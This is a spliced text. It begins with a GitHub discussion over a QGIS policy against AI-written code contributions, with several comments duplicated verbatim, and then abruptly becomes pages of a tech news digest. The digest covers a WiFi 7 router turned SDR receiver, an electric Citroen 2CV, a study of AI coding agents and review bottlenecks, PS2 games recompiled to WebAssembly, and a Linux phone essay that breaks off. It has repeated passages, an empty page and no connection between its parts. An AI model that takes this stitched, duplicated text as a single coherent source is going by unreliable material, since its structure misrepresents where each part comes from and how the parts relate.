Sorry for also being late...

I have a big worry with this policy; it's not particulary clear what's actually prohibited. Using Claude Code/Github Copilot CLI/etc.? Sure, that's clear that it's not allowed. But what about LLM-backed autocomplete? What about non-LLM AI (for example, Jetbrains-based IDEs have long used ML models to rank auto-completion results)? Using ChatGPT to brainstorm a design? Searching for an error message and unintentionally seeing the answer in Googles AI answer? Asking Claude for a help with an issue in some PyQGIS, realizing it's actually a QGIS Core bug and going on to fix that manually? What if I can't think of the a term in English and use Google Translate to translate from my native language and subsequently use that in code?

I realize that there's a fear that giving even a little bit of leway here will result in the problem persisting, but I think it's very important that the policy is very clear, especially considering the penality.

To offer a suggestion:

No code contributions written by LLM or AI-agents are allowed in the https://github.com/qgis/qgis repository.

(removes the very broad "AI" term which makes e.g. Jetbrains ranking model questionable, and explicitly spells out "written" so that e.g. searching/brainstorming/etc. is allowed)

Preferably the policy would also contain informative examples of what is/isn't allowed.

No code contributions written by LLM or AI-agents are allowed in the https://github.com/qgis/qgis repository.

I would highly recommend including documentation, bug reports, discussions, PR descriptions, comments, and basically all written interactions on GitHub. These are often even more verbose and extractive than the code itself.

Sorry for also being late...

I have a big worry with this policy; it's not particulary clear what's actually prohibited. Using Claude Code/Github Copilot CLI/etc.? Sure, that's clear that it's not allowed. But what about LLM-backed autocomplete? What about non-LLM AI (for example, Jetbrains-based IDEs have long used ML models to rank auto-completion results)? Using ChatGPT to brainstorm a design? Searching for an error message and unintentionally seeing the answer in Googles AI answer? Asking Claude for a help with an issue in some PyQGIS, realizing it's actually a QGIS Core bug and going on to fix that manually? What if I can't think of the a term in English and use Google Translate to translate from my native language and subsequently use that in code?

I realize that there's a fear that giving even a little bit of leway here will result in the problem persisting, but I think it's very important that the policy is very clear, especially considering the penality.

To offer a suggestion:

No code contributions written by LLM or AI-agents are allowed in the https://github.com/qgis/qgis repository.

(removes the very broad "AI" term which makes e.g. Jetbrains ranking model questionable, and explicitly spells out "written" so that e.g. searching/brainstorming/etc. is allowed)

Preferably the policy would also contain informative examples of what is/isn't allowed.

I think the measure of compliance is "did you in good conscience write the code yourself" - we are not set up to peer into your computer and look at what you did. You will know if your brain made the code you want to share or someone else's brain did.

@nyalldawson and others watching this QEP - as @3nids mentioned we had some discussions about this here at UC2026 - lets go ahead with the vote as scheduled. We will surely have some new QEP's looking to crack that door open once / if this goes through....but let's tackle one use case at a time so that we can all stay in the same boat and keep it rowing in the same direction.

No code contributions written by LLM or AI-agents are allowed in the https://github.com/qgis/qgis repository.

I would highly recommend including documentation, bug reports, discussions, PR descriptions, comments, and basically all written interactions on GitHub. These are often even more verbose and extractive than the code itself.

The Daily Front Page 8 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Receiver Reclaimed
repository

Turn a WiFi 7 Router into a 320Msps Software Defined Radio Receiver

by djfergus·▲ 365 points·101 comments·github.com ↗
★ 512⑂ 48 forks C

Turns a Gemtek W1700K Wi-Fi 7 router into a wideband software-defined receiver. The router's MediaTek MT7996 radio captures raw 14-bit IQ at up to 320 Msps, its Airoha AN7581 SoC streams it over 10 GbE, and a Linux host shows it as a live spectrum and waterfall in the browser, with the receiver's controls next to it.

The 2.4 GHz band live: spectrum and waterfall

The whole 2.4 GHz band at 320 Msps, live, with the decimation's roll-off corrected in the stream ("flatten"): a 262,144-point FFT of every sample, 100 spectra a second (this recording runs at 50 frames a second).

The MT7996 runs only our own firmware: a ROM patch, WM and WA built from this repository, with no MediaTek code. It brings the radio up from a cold power-on by itself, from MediaTek's initialisation and calibration decoded register by register against a trace of MediaTek's own firmware, and takes its commands (LO, sample rate, capture, stream, gain, filter) from the host. See docs/architecture.md and docs/roadmap.md.

What it does

Sample rates 40, 80, 160 or 320 Msps of 14-bit complex IQ on every band, independent of the LO and the filter; on band 2 also 640/2 (every other sample of 640 Msps: flat to ±155 MHz, but signals 160–320 MHz away fold in) Bands 2.4 GHz (MT7976), 5 GHz and 6 GHz (two MT7977s); switching bands is a register write inside a running stream Tuning No channels: the LO is any Hz a band's synthesizer locks at (unit A: 2.081–2.748, 4.647–7.509 and 4.707–7.576 GHz), on its grid of 2.98 Hz (2.4 GHz) or 11.9–14.3 Hz steps; retuned mid-stream (about 1 ms) Front end AGC or manual LNA/baseband gain; analog filter 20–320 MHz Transport the radio DMAs into a 1 GiB ring in SoC DRAM; the kernel sends every 8 KiB slice as one UDP datagram, zero-copy, on the 10 GbE port; at 320 Msps half the slices are packed to 28 bits per sample pair on the radio's own cores to fit the link (lossless, automatic) Host w1700k-stream receives the export and serves the IQ stream to every consumer on the host (shared memory, complex int16, gap-tagged), with an optional correction ("flatten") of the decimation's roll-off applied to the samples themselves; w1700k-spectrum: 262,144-point FFT at 100 frames/s over every sample, browser UI, live controls; sdr-recv records the stream

Screenshots

The web UI at 2.4 GHz

2.4 GHz at 320 Msps, flattened: Wi-Fi frames and shorter hopping bursts on a floor that stays level to the band's edges. The Stream panel shows the link carrying 9.75 Gbit/s, half of the slices packed, and every sample transformed.

The web UI at 5 GHz

Two busy 80 MHz Wi-Fi channels at 5170–5330 MHz in a flattened 320 MHz view.

The two channels' edges zoomed to 24 MHz

Zoomed to 24 MHz around 5250 MHz: the two channels' edges and the guard gap between them, in 1.22 kHz bins.

Repository

Path platform/ What runs on the SoC: our U-Boot, Linux 6.18 with board patches, a read-only BusyBox root kernel/w1700k_sdr/ The MT7996 driver (firmware download, the DMA ring, the 10 GbE export, the firmware's command mailbox) and its unit-side clients firmware/ Our MT7996 firmware: the ROM patch, the WM (radio bring-up and band set-up, streams, RF control) and the WA (packer) host/w1700k/ Host control: firmware load, streaming, RF control as firmware commands; w1700k serve for the web UI host/stream/ w1700k-stream, the host's one receiver of the export: the IQ stream in shared memory for every consumer, and the roll-off correction host/spectrum/ The spectrum/waterfall web server host/recv/ sdr-recv, the stream recorder init/ Installation from stock, updates, recovery, return to stock include/hw/ Register reference: every known MT7996, A-die and AN7581 register, as C headers docs/ Architecture, roadmap

Getting started

You need a W1700K (HW 1.x) or W1700K2 (HW 2.1), a 3.3 V USB serial adapter on its console header, an Ethernet cable to its lan3 port for installation, and a 10 GbE NIC on the host cabled to its wan port (10GBASE-T; an X710 with a copper SFP+ module works) for the IQ stream. Both revisions run the same images. Most units carry a W25N04KV NAND; some W1700K2s carry a W25N04LV (ID ef 8b 23), which is supported but has never been run on a unit: init/install stops on one until you pass --i-dont-care-about-nand-corruption, and asks for a raw dump of it (init/rawdump) for the maintainers.

make                                   # everything, from public sources (~10 min plus downloads)
make check                             # the test suite

sudo init/host/link up IFACE           # 192.168.1.10/24 on the NIC cabled to lan3
sudo init/host/tftp-forward enable IFACE
init/install                           # back up the NAND, install, save the radio calibration

sudo init/host/link up IFACE10G 10.77.0.10/24 9216    # the 10 GbE stream link
host/stream/build/w1700k-stream &                      # the stream, for every consumer on this host
host/spectrum/build/w1700k-spectrum --controller "host/bin/w1700k serve" --listen 0.0.0.0:8073

Then open http://HOST:8073/ and press ▶. The first start loads the radio firmware and brings the radio up (about 2 s). Without the browser, the same operations are host/bin/w1700k load|start|band|tune|gain|filter|stop|status.

Build requirements: a C/C++ compiler, make, git, Python 3.10+, the usual Buildroot prerequisites, clang, ld.lld, llvm-objcopy and llvm-readobj (RISC-V firmware), openssl (firmware container encryption), and libfftw3-dev and zlib for the stream service and the spectrum server. No vendor firmware is downloaded or needed.

Read before use

  • Our firmware is receive-only. It runs none of MediaTek's transmit calibrations and keeps the MAC's transmit path disabled; a gapless watch at 5250 MHz saw nothing during a load, where MediaTek's firmware transmits a full-power burst. Still, do not cable an antenna port straight into a sensitive instrument without an attenuator.
  • Our ROM patch writes no eFuse. MediaTek's ROM patches since 2025 permanently program one eFuse gate bit on their first run (also with MediaTek's own driver); a unit that ever ran one has that bit set.
  • Installation replaces the stock operating system. init/install first copies the NAND's data to the host; keep that copy. init/restore writes it back and returns the unit to its stock firmware.
  • Accessing undocumented MT7996 or AN7581 addresses can hang the SoC or wedge the radio until a power cycle. include/hw/ marks every known hazard.

Licence

MIT, except the Linux driver and kernel patches (GPL-2.0-only), U-Boot patches (GPL-2.0+), the driver's user-space header (GPL-2.0 WITH Linux-syscall-note) and files derived from MediaTek's mt76 driver (BSD-3-Clause-Clear). See LICENSE.

The Daily Front Page 9 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — A Familiar Little Electric
article

Citroen revives the 2CV for an electric age

by scrlk·▲ 359 points·408 comments·bbc.com ↗
a small city runabout with retro styling

A red Citroen 2CV prototype, with retro styling

French carmaker Citroen has brought back its 2CV brand in a bid to boost sales of electric cars in a difficult market.

The new model, unveiled at the Paris Motor Show, is a small city runabout with retro styling which harks back to one of the company's most famous designs.

As a "concept car" intended to show Citroen's direction of travel, it is not yet ready to go on sale but the plan is to have a version in showrooms by 2028.

As they face mounting competition from Chinese manufacturers, Citroen and other European brands are exploiting their heritage as a means of selling modern motors.

Farmers’ favourite

Citroen chief executive Xavier Chardon described the new car as "a modern, ingenious and refreshing response to the mobility challenges of tomorrow".

The original Citroen 2CV was launched in 1948, as Europe was recovering from the ravages of World War Two. It was designed as a cheap, robust way for French farmers and country folk to get around.

The car had high wheel arches and soft suspension, letting it travel across a ploughed field or rough roads - as legend would have it, without breaking a tray of duck eggs.

Its high roof let drivers wear a hat at the wheel. It was easy to drive and simple to repair.

The car was so popular, it remained in production for more than 40 years. Over time, it went from being a utilitarian tool for the countryside to a cult classic, and a favourite of hippies and counter-culturalists.

A man pushes a car out of the mud during the 24th World meeting of Citroen 2CV friends near Delemont, northern Switzerland on July 26, 2023.

Fans of Citroën's 2CV hold annual meet-ups such as this muddy gathering in Switzerland

Now, Citroen wants to draw on that heritage to sell an electric, small city car that is expected to sell for about £13,000.

The look of the new 2CV may well evolve as Citroen develops its design. But as it stands, it shares plenty of styling features with its famous predecessor.

The high, flared wheel arches, the tall, curved roof and the eye-like headlights are all reminders of the original "deux chevaux" or "two horses".

By using memories of an old car to sell a new one, Citroen is following a well-travelled road.

VW notoriously brought back the Beetle in the late 1990s, with limited success.

BMW's Minis have always carried styling designed to hark back to the very British original. Fiat has been selling a retro-styled Fiat 500 for the past two decades.

Retro-nostalgia

But the retro-nostalgia trend has accelerated recently, as carmakers have looked for ways to sell electric cars to sceptical consumers.

Citroen's French rival, Renault, has led the charge. It started with the Renault 5 E-Tech, which visually echoed the distinctive boxy styling of the original Renault 5, once an ever-present sight on French streets. It has since revived the Renault 4 and Twingo brands as well.

VW has the distinctive ID-Buzz minivan, a throwback to the classic T2 Transporter, while Ford is working on a new EV which is widely expected to be called the Fiesta.

Rachel Burgess, senior editor of Autocar magazine, thinks it is a strategy that makes perfect sense.

"It's a brilliant differentiator from all-new car brands", she says. "An older audience might remember the originals and feel warmly towards them, and a younger audience might find an appeal in the retro aspect."

Finding new ways to make cars appealing has become more important than ever, at a time when European manufacturers are facing growing competition from Chinese brands.

"Many in the industry believe the big automotive players in Europe…face a very serious existential threat from aggressive Chinese manufacturers," says David Leggett, automotive editor at Global Data.

All-electric ID. Buzz vehicles are parked on the lot at a Volkswagen dealership in Hawthorne, California, on May 23, 2026.

Back to the future: VW looked to the past when designing its ID-Buzz minivan

In this hostile business environment, heritage and nostalgia could prove to be powerful weapons for more established brands, thinks automotive researcher and author Dr Paul Nieuwenhuis.

"In a world where a wave of credible decent quality Chinese EVs are hitting Europe, linking European designs back to their history while using the latest powertrain technology is something the Chinese cannot do," he says.

"The Chinese can establish new design trends, but there is limited history there."

But Leggett thinks Citroen will need more than a heady whiff of nostalgia to turn its new car into a best-seller.

"A reimagined Citroën 2CV should give a big nod to its ancestor - especially on price and design simplicity as well as visual cues," he says.

"But it also needs to be a credible modern electric car in terms of functionality and features, with widespread appeal."

The Daily Front Page 10 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Review Bottleneck
article

AI coding agents generate more code, but not more software

by gumby·▲ 343 points·286 comments·arstechnica.com ↗
coding efficiency gains get “absorbed” by human review “bottleneck.”

Study finds coding efficiency gains get “absorbed” by human review “bottleneck.”

Here, let me just... yeah, can I lend you a hand here? Credit: Getty Images

Anyone who has even tangentially associated with computer programming knows that modern AI coding assistants and agents can be incredibly efficient at generating huge amounts of functional code. But coders making use of those tools also know better than to trust the accuracy of that code, meaning substantial effort needs to be spent reviewing any AI-generated output.

A recent study of actual coding practices across hundreds of firms finds that human code review forms a significant “bottleneck” for the overall efficiency of AI coding tools, resulting in “little evidence that firms increase software output or reduce employment” by using them. Any efficiency increased during the actual coding phase, the study authors find, is “absorbed by downstream constraints in the production process”; as “the code review process significantly increases in length, pull requests are more likely to require revisions, and reviewers leave more comments.”

Cut once, measure twice

To come to these conclusions, Harvard University researchers Fiona Chen and James Stratton made use of aggregated analytics data from Jellyfish, which measures the granular output of engineering teams. That data encompasses 300 million individual “work events” (e.g., commits and pull requests) and issue management software data across more than 700,000 employees at over 700 relevant software development firms from 2021 through March of 2026.

To assess the impact of AI tools on these firms, the researchers used a mix of directly measured AI usage and analyses of GitHub activity to determine when each company started introducing either AI coding assistants (which can help auto-complete code primarily authored by humans) and/or AI coding agents (which primarily write and submit code autonomously based on prompts) into their workflows. The researchers then perform some complicated math to determine a “difference of differences” regression on key variables both before and after the introduction of these tools at different points in time across different organizations.

If there’s one thing AI coding agents are good at, it’s churning out a lot of code.

Credit: Chen and Stratton

In terms of raw code being produced, the results are clear and stark. The introduction of AI coding agents at a firm leads to a 30 percent increase in total lines of code generated, a 20 percent rise in the number of total commits, and a 23 percent increase in pull requests on average, the researchers write. But all that extra code doesn’t translate directly into improved software output on the firm level. On the contrary, the resolution rate for Issues and Epics (i.e. wholesale software features) tracked by tools like Jira did not change in a statistically significant way after AI tools were introduced (the researchers also found no “compositional shift” in the size or complexity of those Jira-tracked issues across the AI introduction).

The reason for that discrepancy can be found directly in the code review process, which takes markedly longer on average after the introduction of AI coding agents. Overall, the average “review process” time between a pull request getting submitted and it being merged into the codebase balloons 49 percent on average after AI agents are introduced. That effect can be seen in more granular data, too, with “the share of pull requests with changes requested nearly doubl[ing], and the number of comments per pull request increas[ing] by 35%” following the AI agent shift, the researchers write.

In response to this change, the researchers found a 14 percent increase in the share of workers performing code reviews after AI agents’ introduction. They also write that they “cannot attribute significant employment changes to AI” after looking at total active workers across Jellyfish and cross-referencing with LinkedIn data at those firms.

Pull requests need changes a lot more often in the “agentic coding” era.

Credit: Chen and Stratton

While AI could also theoretically help with this review process, the researchers found that, so far, that impact has been marginal. Although 80 percent of measured firms used some form of AI code review by March 2026, AI agents were only responsible for 23.3 percent of all review comments and 10.8 percent of all pull requests, suggesting humans were still responsible for the vast majority of this work.

AI agents are still a relatively new part of the coding world, of course, and there have been significant updates and upgrades to their output even since this study’s March 2026 data cutoff. And while 95 percent of firms in the study have implemented AI coding agents by this point, many are doubtlessly still going through a learning process regarding when and how to best deploy them. These kinds of “coding time versus review time” trade-offs could improve as software engineering teams gain more experience with the pros and cons of siccing an AI agent on particular coding problems.

For now, though, letting AI write your code looks like a double-edged sword, with increases in coding speed counteracted by similar increases in human code review time and effort. It’s the kind of result that makes us wonder if the considerable time and expense to get AI coding agents working is really worth it for most companies.

The Daily Front Page 11 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Browser Becomes a Console
show hn

Show HN: PS2 games statically recompiled to WebAssembly

by deadxwarrior·▲ 297 points·156 comments·github.com ↗
the main CPU is never interpreted

PlayStation 2 games running in the browser through static recompilation. The game's Emotion Engine machine code is translated ahead of time into C++ and compiled to WebAssembly, so the main CPU is never interpreted; the rest of the console, its operating system and hardware, is emulated by a runtime that draws with WebGPU.

Gran Turismo 4 running in a browser
Watch the full recording (1:24)

This is the sibling of psp-web-recomp and follows the same method. The first title brought up this way is Gran Turismo 4, chosen because it is one of the most demanding games on the system: it leans on both vector units, on exact floating point behaviour for its replays and license tests, and on graphics tricks that read rendered images back as palettes. It plays from boot through the opening movie, the menus and races, with music and sound effects, and saves to a memory card kept in the browser. A race runs at full speed, 50 frames per second for this PAL release, in Chrome on a laptop's integrated GPU at twice the PS2's resolution, which is how the recording above was made.

God of War II followed through the same scripts. It needed no game-specific code, but it found two bugs that Gran Turismo 4 had never triggered, one in the recompiler and one in the vector unit timing, and a few missing pieces of the PS2's input/output processor. It now plays from the menus through its cutscenes into combat, and holds 60 frames per second in heavy combat at the PS2's resolution in Chrome. At twice the resolution it runs at 48 to 60, limited by the laptop's integrated GPU.

No game data is included here. You bring a disc image of a game you own, and the scripts in this repository turn it into a web page on your machine.

How it works

Recompilation. eerecomp reads the game's executable, follows its control flow to find the functions and emits C++ for them in units of 16 KiB of guest code. The output keeps the R5900's quirks: 128-bit registers and the multimedia instructions that work on them, branch delay slots, the PS2's floating point unit, which has no infinities or denormals and rounds differently from IEEE, and vector unit 0 used as a coprocessor. Jumps between units become tail calls, and a thread switch unwinds the host stack and resumes at the guest address, so the generated code never needs a stack per guest thread.

A small PS2 kernel. The EE side of the operating system is answered by high-level emulation: threads, semaphores, interrupt handlers for the DMA controller and the vertical blank, alarms, and the SIF channel that connects the main CPU to the I/O processor. The I/O processor runs the game's own IRX modules, the sound driver, the disc streaming code and the controller and memory card drivers that ship on the disc, on an interpreter of its R3000 CPU, while the IOP kernel and the libraries those modules call are reimplemented in C++. The disc is read over HTTP Range requests, so only the executable is downloaded up front.

Vector units. Most of a PS2 game's 3D work happens in microprograms the game uploads to vector unit 1. They run with the pipeline delays of the MAC, status and clip flags modelled, because games schedule their code around them, and with the PS2's float rules for special values: no infinities or NaNs, denormals flushed to zero and overflow clamped to the largest float. The arithmetic itself is the host's, so a result can differ from the console's in its last bit; the console truncates where the host rounds, and its multiplier is not exact. Microprograms seen during a test run are compiled ahead of time into SIMD C++; any the page meets for the first time are translated into a WebAssembly module on the spot, which takes a few milliseconds per program.

Graphics. The Graphics Synthesizer's 4 MB of video memory lives on the GPU, in its native swizzled layouts, and drawing is done by WebGPU compute shaders: triangles are binned into tiles and rasterized with the GS's own rules for texturing, palettes, alpha blending, depth and destination alpha tests. Because everything stays in GS memory, effects that render into a texture or reinterpret a framebuffer as a palette work the way they do on the console. The internal resolution can be one, two or three times the native one. A software rasterizer of the same GS remains as the reference the GPU output is compared against.

Threads. The emulation runs in a worker, vector unit 1 has a worker of its own the way it runs in parallel on the console, and the GS commands go through a ring buffer to the page thread, which owns the WebGPU device.

Sound and movies. The SPU2 is reimplemented with its 48 voices of ADPCM, ADSR envelopes and the streaming DMA games use for music, and its output goes to an AudioWorklet through shared memory. Movies are decoded by an implementation of the IPU, the PS2's MPEG-2 decoder.

Lessons from making it fast

The first race ran at 3 frames per second natively, with a software rasterizer and an interpreter for vector unit 1. Moving the GS to WebGPU compute shaders and compiling the vector unit programs brought it to about 70 natively, and most of the remaining work was about where the browser spent its time rather than the emulation.

The first version of the GPU renderer submitted around 650 compute dispatches per frame, because every texture upload and palette load split the batch of triangles around it. Hoisting uploads ahead of the triangles that do not depend on them, with the same output, brought that to about 80.

Gran Turismo 4 uploads the same 3 MB of textures every frame of a race. GS memory is swapped between frames, so the uploads cannot simply be skipped, but a 16 MB cache of recently uploaded contents on the GPU lets most of them be served without crossing from WebAssembly to the GPU again, which cut the data sent per frame by about 60 percent.

At three times the native resolution the frame rate dropped to 23. Profiling the shader showed that the per-triangle setup was being loaded after a branch that differed between threads, which made the whole setup divergent, and that uploads split into 1 MB pieces blocked Chrome's page thread. Loading the setup uniformly and writing each frame's data in one piece brought three times the resolution to 48 to 50 frames per second on the same integrated GPU.

The browser's own scheduling mattered too. Nested setTimeout calls are clamped to 4 ms, so the emulation loop now yields through a MessageChannel instead, and moving the emulation into a worker, so that the page thread only feeds the GPU, steadied a race that had wandered between 40 and 50 frames per second at a constant 50.

A second game

God of War II went from an ISO to a page through port.sh with only generic changes, and each one was a bug or gap that the first game had simply not exercised.

It started with silence. The game's sound driver drives its tick from one of the I/O processor's hardware timers, which nothing had implemented, so the driver never mixed a sample. The intro after the difficulty menu was a mess of huge flat polygons, and when the gameplay was about to begin the game crashed after its render list ran past the end of memory and overwrote its own vertical blank handlers. Following a corrupted linked list back with hardware watchpoints led to the recompiler: when a branch was the last instruction of a 16 KiB unit, the path that does not take the branch continued in the next unit at the delay slot instead of after it, running that instruction twice, or running the instruction a branch-likely should have skipped. That fixed the crash and the game reached combat, still with giant polygons over parts of the screen. Those came from triangles that should have been culled. God of War II's microcode reads the clip flags three instructions after the CLIP that sets them, and the vector unit model made them visible only after four, which Gran Turismo 4, whose microcode always waits longer, could not have noticed.

Along the way it also needed a boot path like the BIOS gives, a module loaded from memory instead of the disc, and the scratchpad DMA's destination chain mode.

Port a game of your own

You need git, CMake, Ninja, a C++20 compiler (clang is preferred and picked up automatically), Python 3, and 7-Zip if your disc image is in a .7z. Everything has been run on Linux on x86-64. The first run installs the Emscripten SDK into tools/emsdk, or uses the one EMSDK points to, and downloads wgpu-native for the native runner. With --native-only the script skips the browser build and never installs the SDK; the native window then needs the SDL2 development files. Expect about 300 MB of disk space per game for the generated code and the builds; the disc image itself is linked, not copied.

git clone https://github.com/snuri00/ps2-web-recomp.git
cd ps2-web-recomp
scripts/port.sh mygame "My Game.iso"
python3 scripts/serve.py build/web-mygame games/mygame/disc.iso    # http://localhost:8620/

port.sh takes a disc image (an ISO, or a ZIP or 7z archive holding one) and does the whole job. It reads the boot program named in the disc's SYSTEM.CNF, translates its machine code to C++, and then runs the game headless a few times. Static analysis cannot see every function a game reaches through pointers, so each run writes down the addresses it could not find, the script adds them as entry points and translates again, until a run gets through without new ones. The same runs record the vector unit microprograms the game uploads, which are compiled ahead of time as well. Last it builds the page into build/web-mygame and the native runner into build/native-mygame. God of War II goes from ISO to page in three and a half minutes on an 8-core laptop.

The exploring runs press start and then cross every five seconds, which gets most games through their title screens, and put an empty memory card in slot 1 the way the page does, so they follow the path a player takes. --press 900:cross replaces that with your own inputs and --frames sets how long each run lasts. Frames from the last run land in games/mygame/shots, which is the quickest way to see how far a new game gets. scripts/build_web.sh mygame rebuilds only the page.

Set your expectations accordingly: two games have been brought up so far. Another game will most likely stop at a system call or an IOP library function nobody implemented yet, which the runner logs as [sys] unhandled syscall or [iop] missing <library> #<n>, or use a GS feature the renderer does not handle yet.

Browsers

The page needs WebGPU for the GPU renderer. Chrome and Edge have it on Windows and macOS. On Linux it is off by default in Chrome and Chromium: turn on chrome://flags/#enable-unsafe-webgpu and chrome://flags/#enable-vulkan and restart the browser, as the page tells you when it finds no usable adapter. Without WebGPU the software renderer takes over, which is fine for menus and far too slow for 3D. On laptops with two GPUs, a canvas drawn on the discrete GPU sometimes cannot be shown on the screen; the page tries both adapters and falls back to copying frames through a 2D canvas.

The keyboard maps the face buttons to Z (cross), X (circle), A (square) and S (triangle), the shoulders to Q, W, 1 and 2, start and select to Enter and Backspace, the D-pad to the arrow keys and the left stick to I, J, K and L. Gamepads work through the browser's gamepad API. Their analog triggers reach the game as the DualShock 2's pressure-sensitive L2 and R2, and controllers with motors vibrate when the game asks for it, in browsers that expose vibration (Chrome and Edge do). Phones get on-screen controls, and F toggles fullscreen. The resolution selector reloads the page at the new size.

Playing natively

The native runner, build/native-mygame/ps2run, plays the game in a window when SDL2 is installed; scripts/port.sh mygame "My Game.iso" --native-only builds only this one. It draws through wgpu-native on Vulkan and plays sound through SDL. The keyboard uses the page's keys for the buttons, with the arrow keys as both the D-pad and the left stick, and any game controller SDL recognizes works too, the Steam Deck's own controls included, with the same trigger pressure and vibration as in the browser.

build/native-mygame/ps2run games/mygame/disc/SLUS_123.45 --disc games/mygame/disc.iso --window --memcard mygame.ps2

--fullscreen starts in fullscreen and F11 switches back and forth. PS2_SCALE=2 or 3 raises the internal resolution. As in the browser, the emulation, vector unit 1 and the GS each run on their own thread, which takes God of War II from 43 to 60 frames per second at the native resolution on the test laptop; PS2_ONE_THREAD=1 puts everything back on one thread. The memory card file uses the same layout as the page's exported cards. On a Steam Deck the runner can be added to Steam as a non-Steam game, though nobody has tried it on one yet.

Saves

The page puts a memory card in slot 1 and keeps it in the browser's storage for the address you play from, so progress survives a reload. Games format and use it as they would a real card. Export card downloads it as a .ps2 file in the layout PCSX2 uses, and Import card puts such a file back in the slot, so a card can travel between browsers or come from PCSX2. ?nocard starts with the slot empty.

Hosting

The page uses SharedArrayBuffer for its threads, so it has to be served cross-origin isolated, with Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp. scripts/serve.py sends both headers and supports the Range requests the disc streaming relies on. Anyone who can reach the server can load the game, so keep it to yourself.

Legal

This repository contains only original code and third-party code under its own license. It contains no game code or data. The generated C++ and the built WebAssembly are translations of the game's executable, so they belong to the game's owners: keep them on your own machine and do not publish them. Use disc images of games you own. Gran Turismo, God of War and PlayStation are trademarks of Sony Interactive Entertainment; this project is not affiliated with or endorsed by Sony, Polyphony Digital, Santa Monica Studio or any game publisher.

Credits

The VLC tables of the MPEG decoder are adapted from Play! (BSD 2-clause, notice in runtime/src/ipu/NOTICE). PCSX2, Play! and the ps2sdk headers were the references for much of the hardware and system behavior emulated here. wgpu-native and Dawn provide WebGPU natively and in the browser, and Emscripten builds the WebAssembly.

License

The code in this repository is available under the MIT License, see LICENSE. runtime/src/ipu/tables.hpp keeps the BSD 2-clause notice of Play!.

The Daily Front Page 12 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Not a Tool, Says Hickey
The Daily Front Page 13 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Long Road to a Linux Phone
article

Will Linux phones become a viable alternative to the Android/iOS duopoly?

by amosbatto·▲ 265 points·331 comments·amosbbatto.wordpress.com ↗
the Linux phone market has generally stagnated

Five years ago, Linux phones looked like they were poised to become a viable alternative to the Android/iOS duopoly that has an iron grip on the mobile phone industry. Sadly, after a brief flash of activity and community engagement with the release of the Purism Librem 5 and the PINE64 PinePhone in 2020, the Linux phone market has generally stagnated. This stagnation occurred partly because of the problems at Purism and PINE64, but also because the available Linux SoC’s weren’t up to the task of running a modern smartphone, and the hardware industry wasn’t providing any good alternatives with good free/open source drivers. In addition, Plasma Mobile and Phosh were still inchoate mobile interfaces at the time, and there wasn’t a good distro option to run these interfaces on Android kernels with a normal integrated mobile SoC. The poor performance of the PinePhone and Librem 5 and the problems with the PinePhone Pro and the Librem 5 refunds sapped people’s enthusiasm and willingness to take a chance on the next Linux phone.

Fortunately, all of these conditions are changing, and I believe that there is now the possibility that Linux could finally become a viable alternative to Google’s Android and Apple’s iOS in the mobile space, just like desktop Linux has become a viable alternative to Windows and Mac OSX on the PC over the last three decades. This isn’t to say that mobile Linux will fundamentally challenge the business of Google or Apple, but the conditions are ripe for a small market to arise for Linux phones, similar to the way that people can currently buy Linux PCs from a number of small companies, such as TUXEDO, System76, Purism, Slimbook, ThinkPenguin, Ubuntushop.biz, Entroware, Star Labs, Juno, Laptop with Linux, Linux Certified, ArkPC, etc.

It isn’t impossible that one of the big phone brands might sell a few models of phones with mobile Linux in the future, just like Lenovo and Dell currently sell a few PC models with Linux preinstalled in some limited markets. Motorola just announced that it will start selling some high-end phone models with GrapheneOS in 2027, which indicates that Google will allow the big phone makers to sell alternatives, probably because it fears anti-trust regulation. As the mobile industry increasingly shuts down the ability to unlock the bootloaders of Android phones, more people will be looking for an alternative to AOSP derivatives, and mobile Linux could provide that alternative.

Five years ago, it looked like mobile Linux had finally arrived. The Purism Librem 5 and PINE64 PinePhone had just been released, and even a big tech reviewer like Linus Tech Tips was trying them out. Mrwhosetheboss’s video, “Are Linux Smartphones about to KILL Android?,” where he held up the Librem 5, got 7.8 million views on YouTube. The Librem 5 had been ported to Mobian and postmarketOS, and the PinePhone had been ported to 20 different Linux distributions. There was a growing number of phone models that could run Jolla’s Sailfish OS and Ubuntu Touch on top of Android kernels, and many people were testing postmarketOS on their old phones. Plasma Mobile and Phosh were advancing fast as mobile interfaces. KDE had adopted Kirigami and GNOME was adopting Adwaita, so both KDE and GNOME apps could become adaptive between desktop and mobile interfaces. The Waydroid project was making it possible to run Android apps inside a Linux container. The future seemed bright for mobile Linux, but that future never seemed to arrive. It is worth examining what held back mobile Linux to understand how those conditions can be overcome in the future.

There has been great deal of experimentation with different mobile operating systems based on a Linux kernel over the last 25 years since the first mobile Linux devices were released—the Sharp Zaurus, the G.Mate Yopy and the Motorola A760. I count 29 different varieties of commercial mobile Linux that have existed over the years, and there are probably many more that I missed. There have been many different waves of mobile Linux, which at the time looked like they might become the next big thing, including EZX, MotoMagx, Maemo, LiMo, Moblin, Meego, Tizen, Firefox OS, webOS, Ubuntu Touch and Sailfish OS. For years Motorola experimented with different Linux varieties that were based on the idea of using Java apps available in a community store, so Google’s Android was hardly unique, but it was the flavor of mobile Linux which succeeded. Today, all of them are often lumped together under the label of “Linux” as a separate category from Android, but Tizen and Firefox OS are just as distinct architecturally as Android from a standard desktop Linux distro.

The mobile Linux operating systems live on, although they are less visible today. Much of the MeeGo code that Nokia created for the N9, continues to be developed by the tiny Finnish company, the Jolla Group, which is once again selling phones with its Sailfish OS. Firefox OS, which was abandoned by Mozilla Foundation in 2016, was reborn in 2017 as proprietary KaiOS for low-end phones without touch screens, but that market is slowly disappearing as Android now reaches even the cheapest segments of the mobile phone market. Ubuntu Touch, which was abandoned by Canonical in 2017, lives on as a community-based project under the volunteers at UBports. Even, webOS and Tizen still exist, although they are no longer used as mobile operating systems. webOS runs LG TVs and Tizen is used in Samsung TVs.

